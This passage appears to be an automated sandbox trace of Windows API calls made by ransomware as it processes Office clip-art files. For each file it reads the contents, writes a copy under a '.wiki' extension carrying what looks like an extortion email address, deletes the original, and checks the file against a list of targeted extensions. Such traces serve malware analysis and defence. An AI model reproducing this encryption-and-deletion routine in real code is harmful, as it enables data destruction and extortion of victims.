Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.106] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11288) returned 1 [0195.106] CloseHandle (hObject=0x1f0) returned 1 [0195.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 0x20 [0195.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.106] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.107] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.107] GetLastError () returned 0x0 [0195.107] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2c18, lpOverlapped=0x0) returned 1 [0195.164] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2c20, lpOverlapped=0x0) returned 1 [0195.165] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.165] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.165] SetEndOfFile (hFile=0x1f8) returned 1 [0195.166] CloseHandle (hObject=0x1f8) returned 1 [0195.166] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.166] SetEndOfFile (hFile=0x1f0) returned 1 [0195.166] CloseHandle (hObject=0x1f0) returned 1 [0195.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0195.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.167] lstrlenW (lpString=".doc") returned 4 [0195.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.167] lstrlenW (lpString=".docx") returned 5 [0195.167] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.167] lstrlenW (lpString=".pdf") returned 4 [0195.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.167] lstrlenW (lpString=".xls") returned 4 [0195.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.167] lstrlenW (lpString=".xlsx") returned 5 [0195.167] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.167] lstrlenW (lpString=".ppt") returned 4 [0195.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.167] lstrlenW (lpString=".zip") returned 4 [0195.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.167] lstrlenW (lpString=".rar") returned 4 [0195.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.167] lstrlenW (lpString=".bz2") returned 4 [0195.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.167] lstrlenW (lpString=".7z") returned 3 [0195.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.167] lstrlenW (lpString=".dbf") returned 4 [0195.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.168] lstrlenW (lpString=".1cd") returned 4 [0195.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.168] lstrlenW (lpString=".jpg") returned 4 [0195.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.168] lstrlenW (lpString=".doc") returned 4 [0195.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.168] lstrlenW (lpString=".docx") returned 5 [0195.168] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.168] lstrlenW (lpString=".pdf") returned 4 [0195.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.168] lstrlenW (lpString=".xls") returned 4 [0195.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.168] lstrlenW (lpString=".xlsx") returned 5 [0195.168] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.168] lstrlenW (lpString=".ppt") returned 4 [0195.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.168] lstrlenW (lpString=".zip") returned 4 [0195.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.168] lstrlenW (lpString=".rar") returned 4 [0195.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.168] lstrlenW (lpString=".bz2") returned 4 [0195.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.168] lstrlenW (lpString=".7z") returned 3 [0195.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.169] lstrlenW (lpString=".dbf") returned 4 [0195.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.169] lstrlenW (lpString=".1cd") returned 4 [0195.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0195.169] lstrlenW (lpString=".jpg") returned 4 [0195.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.169] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.169] lstrlenW (lpString="J0107344.WMF") returned 12 [0195.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.169] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5076) returned 1 [0195.169] CloseHandle (hObject=0x1f0) returned 1 [0195.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 0x20 [0195.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.170] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.170] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.170] GetLastError () returned 0x0 [0195.170] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x13d4, lpOverlapped=0x0) returned 1 [0195.197] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x13e0, lpOverlapped=0x0) returned 1 [0195.198] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.198] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.198] SetEndOfFile (hFile=0x1f8) returned 1 [0195.198] CloseHandle (hObject=0x1f8) returned 1 [0195.198] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.198] SetEndOfFile (hFile=0x1f0) returned 1 [0195.199] CloseHandle (hObject=0x1f0) returned 1 [0195.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0195.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.200] lstrlenW (lpString=".doc") returned 4 [0195.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.200] lstrlenW (lpString=".docx") returned 5 [0195.200] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.200] lstrlenW (lpString=".pdf") returned 4 [0195.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.200] lstrlenW (lpString=".xls") returned 4 [0195.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.200] lstrlenW (lpString=".xlsx") returned 5 [0195.200] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.200] lstrlenW (lpString=".ppt") returned 4 [0195.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.200] lstrlenW (lpString=".zip") returned 4 [0195.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.200] lstrlenW (lpString=".rar") returned 4 [0195.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.200] lstrlenW (lpString=".bz2") returned 4 [0195.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.200] lstrlenW (lpString=".7z") returned 3 [0195.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.200] lstrlenW (lpString=".dbf") returned 4 [0195.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.200] lstrlenW (lpString=".1cd") returned 4 [0195.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.200] lstrlenW (lpString=".jpg") returned 4 [0195.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.201] lstrlenW (lpString=".doc") returned 4 [0195.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.201] lstrlenW (lpString=".docx") returned 5 [0195.201] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.201] lstrlenW (lpString=".pdf") returned 4 [0195.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.201] lstrlenW (lpString=".xls") returned 4 [0195.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.201] lstrlenW (lpString=".xlsx") returned 5 [0195.201] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.201] lstrlenW (lpString=".ppt") returned 4 [0195.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.201] lstrlenW (lpString=".zip") returned 4 [0195.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.201] lstrlenW (lpString=".rar") returned 4 [0195.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.201] lstrlenW (lpString=".bz2") returned 4 [0195.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.201] lstrlenW (lpString=".7z") returned 3 [0195.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.201] lstrlenW (lpString=".dbf") returned 4 [0195.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.201] lstrlenW (lpString=".1cd") returned 4 [0195.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0195.201] lstrlenW (lpString=".jpg") returned 4 [0195.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.202] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.202] lstrlenW (lpString="J0107364.WMF") returned 12 [0195.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.202] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16588) returned 1 [0195.202] CloseHandle (hObject=0x1f0) returned 1 [0195.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 0x20 [0195.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.202] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.203] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.203] GetLastError () returned 0x0 [0195.203] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x40cc, lpOverlapped=0x0) returned 1 [0195.219] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x40d0, lpOverlapped=0x0) returned 1 [0195.220] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.220] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.220] SetEndOfFile (hFile=0x1f8) returned 1 [0195.220] CloseHandle (hObject=0x1f8) returned 1 [0195.220] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.220] SetEndOfFile (hFile=0x1f0) returned 1 [0195.221] CloseHandle (hObject=0x1f0) returned 1 [0195.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0195.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.222] lstrlenW (lpString=".doc") returned 4 [0195.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.222] lstrlenW (lpString=".docx") returned 5 [0195.222] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.222] lstrlenW (lpString=".pdf") returned 4 [0195.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.222] lstrlenW (lpString=".xls") returned 4 [0195.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.222] lstrlenW (lpString=".xlsx") returned 5 [0195.222] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.222] lstrlenW (lpString=".ppt") returned 4 [0195.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.222] lstrlenW (lpString=".zip") returned 4 [0195.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.222] lstrlenW (lpString=".rar") returned 4 [0195.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.222] lstrlenW (lpString=".bz2") returned 4 [0195.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.222] lstrlenW (lpString=".7z") returned 3 [0195.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.222] lstrlenW (lpString=".dbf") returned 4 [0195.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.222] lstrlenW (lpString=".1cd") returned 4 [0195.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.223] lstrlenW (lpString=".jpg") returned 4 [0195.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.223] lstrlenW (lpString=".doc") returned 4 [0195.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.223] lstrlenW (lpString=".docx") returned 5 [0195.223] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.223] lstrlenW (lpString=".pdf") returned 4 [0195.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.223] lstrlenW (lpString=".xls") returned 4 [0195.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.223] lstrlenW (lpString=".xlsx") returned 5 [0195.223] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.223] lstrlenW (lpString=".ppt") returned 4 [0195.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.223] lstrlenW (lpString=".zip") returned 4 [0195.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.223] lstrlenW (lpString=".rar") returned 4 [0195.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.223] lstrlenW (lpString=".bz2") returned 4 [0195.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.223] lstrlenW (lpString=".7z") returned 3 [0195.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.223] lstrlenW (lpString=".dbf") returned 4 [0195.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.223] lstrlenW (lpString=".1cd") returned 4 [0195.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0195.224] lstrlenW (lpString=".jpg") returned 4 [0195.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.224] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.224] lstrlenW (lpString="J0107426.WMF") returned 12 [0195.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.224] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11492) returned 1 [0195.224] CloseHandle (hObject=0x1f0) returned 1 [0195.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 0x20 [0195.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 